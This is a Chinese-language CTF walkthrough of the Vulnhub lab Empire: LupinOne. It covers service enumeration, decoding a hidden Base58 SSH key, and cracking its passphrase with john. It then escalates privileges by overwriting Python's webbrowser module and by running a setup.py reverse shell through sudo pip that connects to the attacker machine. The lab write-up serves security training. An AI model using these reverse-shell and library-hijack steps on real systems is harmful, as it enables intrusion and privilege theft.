【Vulnhub系列】Empire: LupinOne通关教程-酒店常州论坛

环境说明

虚拟机软件：VirtualBox
靶场：Empire: LupinOne
攻击机Kali：192.168.56.3
靶机：192.168.56.12
虚拟机模式：仅主机，攻击机靶机同一网段
下载链接：https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
作者： icex64 & Empire Cybersecurity
难度：中等

主机发现与服务探测

开局先用arp-scan --local扫描一波，确认主机 IP 为192.168.56.12。
接着用nmap -sV -sC -p- 192.168.56.12探测开放的端口与服务。

从结果可以看到，目标只开放了 80 和 22 两个端口。## 从Web入手寻找线索
首先访问首页：http://192.168.56.12/，页面上只有一张图片，看不到其他内容。

查看网页源码，只发现一句简单的安慰语。
使用gobuster dir -u http://192.168.56.12 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip,bak -t 50枚举目录，发现robots.txt和manual（Apache 帮助文档）比较关键。
访问robots.txt，内容如下：```text
User-agent: *
Disallow: /~myfiles

4. 其中有个 `~myfiles` 目录，访问后发现里面留有一条注释消息。 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/d4f92cbffd4348fe88dc5e2768f5c586.png) 5. 联想到之前扫出的 Apache 服务，说明该网站由 Apache 部署。由于 `~myfiles` 的特殊性，而 Apache 中 `~` 代表用户家目录下的 `public_html`（即 mod_userdir 特性），接下来就爆破 `~` 后面的目录名。```shell wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://192.168.56.12/~FUZZ/

最终得到一个~secret目录。

6. 通过curl http://192.168.56.12/~secret/又看到几句提示信息，大意是这里可能存在 SSH 私钥文件，藏在/~secret/下，于是继续在该路径下爆破文件。```html

Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file,</>

Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack.</>

I’m smart I know that.</>

Any problem let me know</>

Your best friend icex64

ffuf-uhttp://192.168.56.12/~secret/.FUZZ-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt-e.rsa,.id_rsa,pem,.key,.id_ed25519,.txt,.bak,.old-t30-mc200

等待跑完发现一个 .mysecret.txt文件。至于跑出来一些乱七八糟的以 # 号开头的不用管，这是因为URL的特性，#代表的锚点

访问一下是一堆base64编码的字符

破解私钥登录ssh

通过之前跑出的nmap结果以及开头解码后的特征发现是openssh的私钥，但是没有头和尾，下面将头和尾加上，在将其分为每行64个字符的方式保存到一个文件key中
但是呢之后我又尝试了几个头尾发现是使用ssh-keygen验证均是 iinvild，之后又求助AI，像什么deepseek, 豆包啊，都不行，整天胡说八道。
后来通过将原始字符串解码看开头特征，看看是不是图片啊，存不存在隐写啊，发现不是。plC开头，一看就不是私钥的特征。于是简单写了一个字符统计代码，并扔给AI分析，发现其最可能是Base58编码。

fromcollectionsimportCounterdefcount_chars(s:str):cnt=Counter(s)# 按字符顺序输出print("字符统计（字符:次数）：")forchar,numinsorted(cnt.items()):print(f"{char}:{num}")print(f"\n总长度:{len(s)}")print(f"不重复字符总数:{len(cnt)}")returncntif__name__=="__main__":text="""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"""count_chars(text)

通过在线的网站解码成功得到真正的私钥

接下来将其粘贴到文件b中，然后设置权限为 600, 使用ssh链接进行测试是否可行

vimbchmod600bssh-ib secret@192.168.56.12

不太行，提示需要密码,而不是输入 passphrase，说明不是secret这个用户。因此需要导出公钥看看有没有注释信息。

公钥导出的时候提示需要输入passphrase，因此要先使用ssh2john提取hash，然后再使用john破解一下

ssh2john ./b>ssh.hash# 为了提高速度，先精简一下字典，使用8个字符以内的密码作为字典尝试grep-E'^.{1,8}$'/usr/share/wordlists/rockyou.txt>short.txt john--wordlist=short.txt ssh.hash

不过呢还是不行，哪怕精简到 4-8个字符也是很慢，于是换了一个小字典碰碰运气，没想到运气不错。

john--wordlist=/usr/share/wordlists/fasttrack.txt ssh.hash

密码跑出来是P@55w0rd!

下载就可以导出公钥了。
6. 使用ssh-keygen -y -f ./b导出一下，发现最后面有个注释icex64@LupinOne, 找到用户名了，之前猜测的secret是错误的，哈哈哈。

然后使用正确的用户名

7. 查看一下当前文件，直接一步命中user flag

提权到root

先看看home目录下有没有其他用户，还有arsene
使用sudo -l查看，发现arsene可以无密码运行/usr/bin/python3.9 /home/arsene/heist.py
查看一下 heist.py文件内容, 是一个通过无头浏览器打开网页的功能，没啥用。
先看一下heist.py的权限，能否使用当前用户进行编辑。

ls-l/home/arsene/heist.py

不太行，通过编辑进行反弹shell路被堵死了。
5. 看一下 arsene家里有什么东西

ls-la/home/arsene/

有个提示文本,通过信息得到重要文件 .secret，但是当前用户不可读。
6. 回到之前那个py文件，其导入了webbrowser这个包，那么我们可以尝试一下PYTHONPATH劫持

cd~cat>webbrowser.py<<'EOF' with open("/home/arsene/.secret", "r") as f: print(f.read()) EOFsudo-uarsenePYTHONPATH=/home/icex64 /usr/bin/python3.9 /home/arsene/heist.py

还是不行

7. 换另一个思路，既然 import webbrowser，那我们直接去修改这个包的源码不就完了吗。首先找到包路径

# 运行之前先删除上一步创建的 webbrowser.py/usr/bin/python3.9-c"import webbrowser; print(webbrowser.__file__)"

发现就是python目录下

然后查看一下权限，没毛病，任意用户可写。

篡改webbrowser.py文件如下命令，然后再重新执行一下sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py即可获取arsene的shell。

# 没有vim命令，直接追加反弹shell的命令即可cat>/usr/lib/python3.9/webbrowser.py<<'EOF' import os os.system("/bin/bash") EOF

9. 但是该用户还是没有在root用户组中，这个时候就需要用到之前的线索.secret文件了。

10. 这里出现了密码，但是切换到root使用该密码不太行，说明这仅仅是arsene的密码，root使用另一个，我们需要继续找线索。

# 继续使用sudo -l碰一下运气sudo-l

发现关键信息。

含义：arsene 可以免密码，以 root 身份直接运行/usr/bin/pip

pip 提权经典玩法: pip 支持--editable本地目录安装、setup.py执行代码；或者用pip install -e .触发 setup.py 里的代码，root 身份执行。
11. 直接新建一个setup.py文件，这次是反弹shell，因为直接获取shell好像不太行。按照以下步骤操作即可。

cd/tmpmkdirexploitcdexploitcat>setup.py<<'EOF' import socket,subprocess,os s = socket.socket() s.connect(("192.168.56.3",6666)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) subprocess.call(["/bin/bash","-i"]) EOF# 执行该命令前注意 kali开启监听# nc -lvnp 6666sudo/usr/bin/pipinstall/tmp/exploit

没毛病。

企业官网建设流程全解析

环境说明

主机发现与服务探测

Your best friend icex64

破解私钥登录ssh

提权到root

热门文章

文章分类

标签云

需要专业的网站建设服务？

企业官网建设流程全解析

环境说明

主机发现与服务探测

Your best friend icex64

破解私钥登录ssh

提权到root

热门文章

文章分类

标签云

相关文章

[事故分析]一个共享随机流，如何把钱包变成一本公开账本

网络原理入门必看(一)------LAN,WAN,IP地址,端口号,协议,网络通信五元组

测试序列基础与 Stateflow 图调度输入

需要专业的网站建设服务？